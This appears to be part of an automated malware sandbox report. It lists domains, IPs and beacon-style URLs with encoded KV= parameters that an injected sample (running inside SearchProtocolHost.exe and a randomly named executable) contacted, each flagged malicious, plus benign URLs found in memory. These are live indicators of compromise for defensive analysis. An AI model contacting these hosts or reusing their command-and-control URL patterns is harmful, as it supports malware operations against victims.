http://www.guacamask.online/__media__/js/trademark.php?d=guacamask.online&type=ns	0%	Avira URL Cloud	safe
http://www.guacamask.online/rfhq/?KV=WCm/hpCimsJ9ehq7lKIv1VDyybMiIAv0Npn9YOFuJ9oZ3M+13oCVUFgjBEgQ3CHtpzgI5GBo5BBlGxqkDMLBEiy3WEQe219nV0S5mknFQQ1hIDuAzNxIBCE=&Wno=a0qDq	0%	Avira URL Cloud	safe
http://www.614genetics.online/px.js?ch=2	0%	Avira URL Cloud	safe
http://www.614genetics.online/px.js?ch=1	0%	Avira URL Cloud	safe
http://www.supernutra01.online/jt56/	0%	Avira URL Cloud	safe
http://www.seeseye.website/37ym/?KV=8/t/mdNf2RQMOaNBNJ0C2CHQCZtSfGEsPKxsb92U4gy0IzojrjG5dpGxrabMefB+TiCWCE+I+OwKVMkti2s7d6J9YJjeD9jGibmgDAwgawFnRnPmUcSsGcI=&Wno=a0qDq	0%	Avira URL Cloud	safe
http://www.guacamask.online/rfhq/	0%	Avira URL Cloud	safe
http://www.connecty.live/q6ws/?KV=2RCZf5GiD+fToLXcMHisxCqwWbc28bp5zmUuGnuHZcsPDzCWfzFSI1Df4pF2LDKbQ3OqnVWPrFqSO4182xFWIWWOBmKrBRiY7XTQRir+3P1LJShw3pPG+Dk=&Wno=a0qDq	0%	Avira URL Cloud	safe
http://www.yvcp3.info/i7qk/	0%	Avira URL Cloud	safe
http://www.rafconstrutora.online/04wl/	0%	Avira URL Cloud	safe
http://www.614genetics.online/me88/	0%	Avira URL Cloud	safe
http://www.amayavp.xyz/dcdf/	0%	Avira URL Cloud	safe
http://www.seeseye.website/37ym/	0%	Avira URL Cloud	safe
http://www.614genetics.online/me88/?KV=q4gJP+3oagrN9CKx8rfxsUGQTP5gFdbCqSnsSAovlnmOs/6LoBJM5Gt+ZeI5OsVhXMd6KM7YnqTd6M8YysOllc/dqLONIyR3l/1k9rdJVwtuEJXWvL6OrMc=&Wno=a0qDq	0%	Avira URL Cloud	safe
http://www.guacamask.online/Guacamask_Online_Booking.cfm?fp=BMg2bDqlEynnaEWfkT6gnVFAckdhMsvQK%2BVJBG	0%	Avira URL Cloud	safe
http://www.bookingservice.center/4bee/?KV=OWaLDb1Jm9p4bkDVec29BoDmBVET5eJeilgKnYToBBeYyiPSqC7oM1F3UnEyEVbrshSo8g4GkysDEHe9VbsXh/SWnXsZyYCMcK4IBi4/IwS5Oa2XQ2sC/aw=&Wno=a0qDq	0%	Avira URL Cloud	safe
http://www.yvcp3.info/i7qk/?KV=y1Deuhcniwy3qxxQAmTyamEbBAp7BzgQf56uDV1XLiTDd60qTBhOzyQcu/peRmYp6AfM2zjHYnfo1VupJPImQ14HHScIWb6hMHv5+s8iUY9NL2Qo8ivIVjo=&Wno=a0qDq	0%	Avira URL Cloud	safe
http://www.supernutra01.online/jt56/?KV=3PCDLLbgpXdI7ZTJtsGfuMg/bmPFCu/6tWsXVWyqAde3py4xBHmx0QKjwMzGHP1esqkhpY0hgYiTwk+VbJ1wfRdswz4Mf7fkXLX0rdEfHuvF7ynYddkbc+A=&Wno=a0qDq	0%	Avira URL Cloud	safe
http://www.bcg.services/mxde/?KV=8xKxkpsUUE6O2YGNwLnJ/+WM1qqfoI8NOsOkZIrS/NSsfWu+QjWct9+gZKiyGOAYB5Pljgx8M21MT9QArezJJe5Vce6MQIBegnnKKN1EkLTSu1v+eqsUQ+w=&Wno=a0qDq	0%	Avira URL Cloud	safe
http://www.Guacamask.online	0%	Avira URL Cloud	safe
http://www.guacamask.online/Guacamask_Online_Banking.cfm?fp=BMg2bDqlEynnaEWfkT6gnVFAckdhMsvQK%2BVJBG	0%	Avira URL Cloud	safe
http://www.rafconstrutora.online/04wl/?KV=10FWZSQ9WPLVyv9qBMSr5p2LrQDaGm/mNCwAUqa3tlQsFj4tjY5WEjDNTnPsz2N9DzYKtSqEkqZ6JmaP68J/ydW7QnrBD/a7HdnFb2gh9G13RXTqS9Au/Yk=&Wno=a0qDq	0%	Avira URL Cloud	safe
http://www.guacamask.online/Guacamask_Online_Sa_Prevodom.cfm?fp=BMg2bDqlEynnaEWfkT6gnVFAckdhMsvQK%2B	0%	Avira URL Cloud	safe
http://www.guacamask.online/Guacamask_Online_Store.cfm?fp=BMg2bDqlEynnaEWfkT6gnVFAckdhMsvQK%2BVJBGuB	0%	Avira URL Cloud	safe
http://www.guacamask.online/__media__/design/underconstructionnotice.php?d=guacamask.online	0%	Avira URL Cloud	safe
http://www.guacamask.online/Guacamask_Online_Gratis.cfm?fp=BMg2bDqlEynnaEWfkT6gnVFAckdhMsvQK%2BVJBGu	0%	Avira URL Cloud	safe
http://www.1qcczjvh2.autos/od8t/?KV=TWQhTiU1OhnYN4IGzL5Djgm2xLK+GsutbeycMWjZ529bH9hAjZgdb5GthJXWZD00/RQs8ByXB8t8HO5uPdBuEty+FSeypv/0YqJ9KzFrGa8mXVJ9lffIJok=&Wno=a0qDq	0%	Avira URL Cloud	safe
http://www.76kdd.top/idu4/	0%	Avira URL Cloud	safe
http://www.614genetics.online/sk-logabpstatus.php?a=WnBLNjkrbVlldHVINmphNWlCc0VwNzM2dk40eEMzS2RMZnFB	0%	Avira URL Cloud	safe
http://www.connecty.live/q6ws/	0%	Avira URL Cloud	safe
http://www.76kdd.top/idu4/?KV=qD8cAnDgckBLYUQoRh7zBwgp4vAR8SH4vArrPOMmIDAln/sBv7g5z1sASbSU3sLbiWKHdb75VGXih9cbyGRF9rbA94O5jPyz1SB60B/cp/B1u7O6lua4pvo=&Wno=a0qDq	0%	Avira URL Cloud	safe
http://www.1qcczjvh2.autos/od8t/	0%	Avira URL Cloud	safe
https://www.hostgator.com.br	0%	Avira URL Cloud	safe
http://www.duwixushx.xyz/bmve/?Wno=a0qDq&KV=Rsosln+CouPFD70pouDpcL8MGxlXnptR0Qz9VzezY2yTYUIF1+nb00CRzlZGPtlDISGdoNhQK1cGxL7iAKAdT88wJdzRXyyanezdQrBbCEm548OmpMr0744=	0%	Avira URL Cloud	safe
http://www.amayavp.xyz	0%	Avira URL Cloud	safe
http://www.bcg.services/mxde/	0%	Avira URL Cloud	safe
http://www.aiactor.xyz/x4ne/?KV=IjUvc9W1zDiNc9PqfXKx1TS0r6LahxQTMxD+2/9txvMkLHbQHvhCPVSp7yYBhZqVsANcjuLc38irD20I6v8c1v1ytT+DEei/9odakMDFYuDWzKGl/p+Lmpo=&Wno=a0qDq	0%	Avira URL Cloud	safe
http://www.seeseye.website/37ym/?KV=8/t/mdNf2RQMOaNBNJ0C2CHQCZtSfGEsPKxsb92U4gy0IzojrjG5dpGxrabMefB	0%	Avira URL Cloud	safe
http://www.aiactor.xyz/x4ne/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.guacamask.online	208.91.197.27	true	true	unknown
www.amayavp.xyz	185.27.134.144	true	true	unknown
www.seeseye.website	103.224.182.242	true	true	unknown
www.supernutra01.online	172.67.220.36	true	true	unknown
www.duwixushx.xyz	156.251.17.224	true	true	unknown
www.connecty.live	203.161.43.228	true	true	unknown
www.rafconstrutora.online	172.67.159.24	true	true	unknown
www.bcg.services	199.59.243.227	true	true	unknown
www.aiactor.xyz	13.248.169.48	true	true	unknown
1hong.pels5zqo.shop	43.163.1.110	true	true	unknown
www.yvcp3.info	47.254.140.255	true	true	unknown
76kdd.top	38.47.232.194	true	true	unknown
www.614genetics.online	208.91.197.27	true	true	unknown
www.bookingservice.center	98.124.224.17	true	true	unknown
www.1qcczjvh2.autos	unknown	unknown	false	unknown
www.76kdd.top	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.guacamask.online/rfhq/	true	Avira URL Cloud: safe	unknown
http://www.supernutra01.online/jt56/	true	Avira URL Cloud: safe	unknown
http://www.seeseye.website/37ym/?KV=8/t/mdNf2RQMOaNBNJ0C2CHQCZtSfGEsPKxsb92U4gy0IzojrjG5dpGxrabMefB+TiCWCE+I+OwKVMkti2s7d6J9YJjeD9jGibmgDAwgawFnRnPmUcSsGcI=&Wno=a0qDq	true	Avira URL Cloud: safe	unknown
http://www.guacamask.online/rfhq/?KV=WCm/hpCimsJ9ehq7lKIv1VDyybMiIAv0Npn9YOFuJ9oZ3M+13oCVUFgjBEgQ3CHtpzgI5GBo5BBlGxqkDMLBEiy3WEQe219nV0S5mknFQQ1hIDuAzNxIBCE=&Wno=a0qDq	true	Avira URL Cloud: safe	unknown
http://www.bookingservice.center/4bee/	true	Avira URL Cloud: safe	unknown
http://www.connecty.live/q6ws/?KV=2RCZf5GiD+fToLXcMHisxCqwWbc28bp5zmUuGnuHZcsPDzCWfzFSI1Df4pF2LDKbQ3OqnVWPrFqSO4182xFWIWWOBmKrBRiY7XTQRir+3P1LJShw3pPG+Dk=&Wno=a0qDq	true	Avira URL Cloud: safe	unknown
http://www.yvcp3.info/i7qk/	true	Avira URL Cloud: safe	unknown
http://www.614genetics.online/me88/	true	Avira URL Cloud: safe	unknown
http://www.rafconstrutora.online/04wl/	true	Avira URL Cloud: safe	unknown
http://www.amayavp.xyz/dcdf/	true	Avira URL Cloud: safe	unknown
http://www.614genetics.online/me88/?KV=q4gJP+3oagrN9CKx8rfxsUGQTP5gFdbCqSnsSAovlnmOs/6LoBJM5Gt+ZeI5OsVhXMd6KM7YnqTd6M8YysOllc/dqLONIyR3l/1k9rdJVwtuEJXWvL6OrMc=&Wno=a0qDq	true	Avira URL Cloud: safe	unknown
http://www.seeseye.website/37ym/	true	Avira URL Cloud: safe	unknown
http://www.bookingservice.center/4bee/?KV=OWaLDb1Jm9p4bkDVec29BoDmBVET5eJeilgKnYToBBeYyiPSqC7oM1F3UnEyEVbrshSo8g4GkysDEHe9VbsXh/SWnXsZyYCMcK4IBi4/IwS5Oa2XQ2sC/aw=&Wno=a0qDq	true	Avira URL Cloud: safe	unknown
http://www.supernutra01.online/jt56/?KV=3PCDLLbgpXdI7ZTJtsGfuMg/bmPFCu/6tWsXVWyqAde3py4xBHmx0QKjwMzGHP1esqkhpY0hgYiTwk+VbJ1wfRdswz4Mf7fkXLX0rdEfHuvF7ynYddkbc+A=&Wno=a0qDq	true	Avira URL Cloud: safe	unknown
http://www.yvcp3.info/i7qk/?KV=y1Deuhcniwy3qxxQAmTyamEbBAp7BzgQf56uDV1XLiTDd60qTBhOzyQcu/peRmYp6AfM2zjHYnfo1VupJPImQ14HHScIWb6hMHv5+s8iUY9NL2Qo8ivIVjo=&Wno=a0qDq	true	Avira URL Cloud: safe	unknown
http://www.bcg.services/mxde/?KV=8xKxkpsUUE6O2YGNwLnJ/+WM1qqfoI8NOsOkZIrS/NSsfWu+QjWct9+gZKiyGOAYB5Pljgx8M21MT9QArezJJe5Vce6MQIBegnnKKN1EkLTSu1v+eqsUQ+w=&Wno=a0qDq	true	Avira URL Cloud: safe	unknown
http://www.76kdd.top/idu4/	true	Avira URL Cloud: safe	unknown
http://www.rafconstrutora.online/04wl/?KV=10FWZSQ9WPLVyv9qBMSr5p2LrQDaGm/mNCwAUqa3tlQsFj4tjY5WEjDNTnPsz2N9DzYKtSqEkqZ6JmaP68J/ydW7QnrBD/a7HdnFb2gh9G13RXTqS9Au/Yk=&Wno=a0qDq	true	Avira URL Cloud: safe	unknown
http://www.1qcczjvh2.autos/od8t/?KV=TWQhTiU1OhnYN4IGzL5Djgm2xLK+GsutbeycMWjZ529bH9hAjZgdb5GthJXWZD00/RQs8ByXB8t8HO5uPdBuEty+FSeypv/0YqJ9KzFrGa8mXVJ9lffIJok=&Wno=a0qDq	true	Avira URL Cloud: safe	unknown
http://www.connecty.live/q6ws/	true	Avira URL Cloud: safe	unknown
http://www.76kdd.top/idu4/?KV=qD8cAnDgckBLYUQoRh7zBwgp4vAR8SH4vArrPOMmIDAln/sBv7g5z1sASbSU3sLbiWKHdb75VGXih9cbyGRF9rbA94O5jPyz1SB60B/cp/B1u7O6lua4pvo=&Wno=a0qDq	true	Avira URL Cloud: safe	unknown
http://www.1qcczjvh2.autos/od8t/	true	Avira URL Cloud: safe	unknown
http://www.duwixushx.xyz/bmve/?Wno=a0qDq&KV=Rsosln+CouPFD70pouDpcL8MGxlXnptR0Qz9VzezY2yTYUIF1+nb00CRzlZGPtlDISGdoNhQK1cGxL7iAKAdT88wJdzRXyyanezdQrBbCEm548OmpMr0744=	true	Avira URL Cloud: safe	unknown
http://www.aiactor.xyz/x4ne/?KV=IjUvc9W1zDiNc9PqfXKx1TS0r6LahxQTMxD+2/9txvMkLHbQHvhCPVSp7yYBhZqVsANcjuLc38irD20I6v8c1v1ytT+DEei/9odakMDFYuDWzKGl/p+Lmpo=&Wno=a0qDq	true	Avira URL Cloud: safe	unknown
http://www.bcg.services/mxde/	true	Avira URL Cloud: safe	unknown
http://www.aiactor.xyz/x4ne/	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	SearchProtocolHost.exe, 00000006.00000003.1762818825.0000000007F58000.00000004.00000020.00020000.00000000.sdmp	false		high
http://i1.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.eot?#iefix	SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	false		high
https://dts.gnpge.com	zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	SearchProtocolHost.exe, 00000006.00000003.1762818825.0000000007F58000.00000004.00000020.00020000.00000000.sdmp	false		high
http://i1.cdn-image.com/__media__/pics/29590/bg1.png)	SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3779741897.0000000006510000.00000004.00000800.00020000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	false		high
http://www.guacamask.online/display.cfm	SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3779741897.0000000006510000.00000004.00000800.00020000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.guacamask.online/__media__/js/trademark.php?d=guacamask.online&type=ns	SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3779741897.0000000006510000.00000004.00000800.00020000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.consentmanager.net	SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	false		high
http://i1.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.woff2	SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	false		high
http://www.614genetics.online/px.js?ch=2	SearchProtocolHost.exe, 00000006.00000002.3779741897.0000000006510000.00000004.00000800.00020000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000535C000.00000004.10000000.00040000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000040FC000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	SearchProtocolHost.exe, 00000006.00000003.1762818825.0000000007F58000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.614genetics.online/px.js?ch=1	SearchProtocolHost.exe, 00000006.00000002.3779741897.0000000006510000.00000004.00000800.00020000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000535C000.00000004.10000000.00040000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000040FC000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://i1.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.svg#montserrat-regular	SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3779741897.0000000006510000.00000004.00000800.00020000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	false		high
http://i1.cdn-image.com/__media__/pics/10667/netsol-logos-2020-165-50.jpg	SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3779741897.0000000006510000.00000004.00000800.00020000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	false		high
https://www.google.com	SearchProtocolHost.exe, 00000006.00000002.3777602378.0000000004D14000.00000004.10000000.00040000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.0000000003AB4000.00000004.00000001.00040000.00000000.sdmp	false		high
http://i1.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.eot	SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	false		high
http://i1.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.otf	SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3779741897.0000000006510000.00000004.00000800.00020000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	false		high
http://i1.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.eot?#iefix	SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3779741897.0000000006510000.00000004.00000800.00020000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	SearchProtocolHost.exe, 00000006.00000003.1762818825.0000000007F58000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.guacamask.online/Guacamask_Online_Booking.cfm?fp=BMg2bDqlEynnaEWfkT6gnVFAckdhMsvQK%2BVJBG	SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3779741897.0000000006510000.00000004.00000800.00020000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://i1.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.otf	SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3779741897.0000000006510000.00000004.00000800.00020000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	false		high
http://i1.cdn-image.com/__media__/pics/28903/search.png)	SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3779741897.0000000006510000.00000004.00000800.00020000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	false		high
https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css	SearchProtocolHost.exe, 00000006.00000002.3777602378.00000000049F0000.00000004.10000000.00040000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.0000000003790000.00000004.00000001.00040000.00000000.sdmp	false		high
http://i1.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.svg#montserrat-bold	SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3779741897.0000000006510000.00000004.00000800.00020000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	false		high
http://i1.cdn-image.com/__media__/pics/28905/arrrow.png)	SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3779741897.0000000006510000.00000004.00000800.00020000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	false		high
http://www.Guacamask.online	SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3779741897.0000000006510000.00000004.00000800.00020000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.guacamask.online/Guacamask_Online_Banking.cfm?fp=BMg2bDqlEynnaEWfkT6gnVFAckdhMsvQK%2BVJBG	SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3779741897.0000000006510000.00000004.00000800.00020000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.guacamask.online/Guacamask_Online_Sa_Prevodom.cfm?fp=BMg2bDqlEynnaEWfkT6gnVFAckdhMsvQK%2B	SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3779741897.0000000006510000.00000004.00000800.00020000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.guacamask.online/Guacamask_Online_Store.cfm?fp=BMg2bDqlEynnaEWfkT6gnVFAckdhMsvQK%2BVJBGuB	SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3779741897.0000000006510000.00000004.00000800.00020000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://delivery.consentmanager.net	SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	false		high
http://www.guacamask.online/__media__/design/underconstructionnotice.php?d=guacamask.online	SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3779741897.0000000006510000.00000004.00000800.00020000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://i1.cdn-image.com/__media__/pics/468/netsol-favicon-2020.jpg	SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	SearchProtocolHost.exe, 00000006.00000003.1762818825.0000000007F58000.00000004.00000020.00020000.00000000.sdmp	false		high
https://kb.fastpanel.direct/troubleshoot/	SearchProtocolHost.exe, 00000006.00000002.3779741897.0000000006510000.00000004.00000800.00020000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3777602378.00000000046CC000.00000004.10000000.00040000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.000000000346C000.00000004.00000001.00040000.00000000.sdmp	false		high
http://i1.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.eot	SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3779741897.0000000006510000.00000004.00000800.00020000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	false		high
http://www.guacamask.online/Guacamask_Online_Gratis.cfm?fp=BMg2bDqlEynnaEWfkT6gnVFAckdhMsvQK%2BVJBGu	SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3779741897.0000000006510000.00000004.00000800.00020000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	SearchProtocolHost.exe, 00000006.00000003.1762818825.0000000007F58000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	SearchProtocolHost.exe, 00000006.00000003.1762818825.0000000007F58000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.614genetics.online/sk-logabpstatus.php?a=WnBLNjkrbVlldHVINmphNWlCc0VwNzM2dk40eEMzS2RMZnFB	SearchProtocolHost.exe, 00000006.00000002.3779741897.0000000006510000.00000004.00000800.00020000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000535C000.00000004.10000000.00040000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000040FC000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	SearchProtocolHost.exe, 00000006.00000003.1762818825.0000000007F58000.00000004.00000020.00020000.00000000.sdmp	false		high
http://i1.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.woff	SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	false		high
http://i1.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.woff2	SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3779741897.0000000006510000.00000004.00000800.00020000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	false		high
https://www.hostgator.com.br	SearchProtocolHost.exe, 00000006.00000002.3777602378.00000000051CA000.00000004.10000000.00040000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.0000000003F6A000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://i1.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.woff	SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3779741897.0000000006510000.00000004.00000800.00020000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	false		high
http://www.amayavp.xyz	zfEzkYXCOLr.exe, 00000007.00000002.3778720033.0000000004ECD000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://i1.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.ttf	SearchProtocolHost.exe, 00000006.00000002.3777602378.000000000453A000.00000004.10000000.00040000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3779741897.0000000006510000.00000004.00000800.00020000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.00000000032DA000.00000004.00000001.00040000.00000000.sdmp	false		high
http://www.seeseye.website/37ym/?KV=8/t/mdNf2RQMOaNBNJ0C2CHQCZtSfGEsPKxsb92U4gy0IzojrjG5dpGxrabMefB	zfEzkYXCOLr.exe, 00000007.00000002.3776346635.0000000003922000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.aapanel.com/new/download.html?invite_code=aapanele	SearchProtocolHost.exe, 00000006.00000002.3777602378.0000000004216000.00000004.10000000.00040000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3776346635.0000000002FB6000.00000004.00000001.00040000.00000000.sdmp	false		high
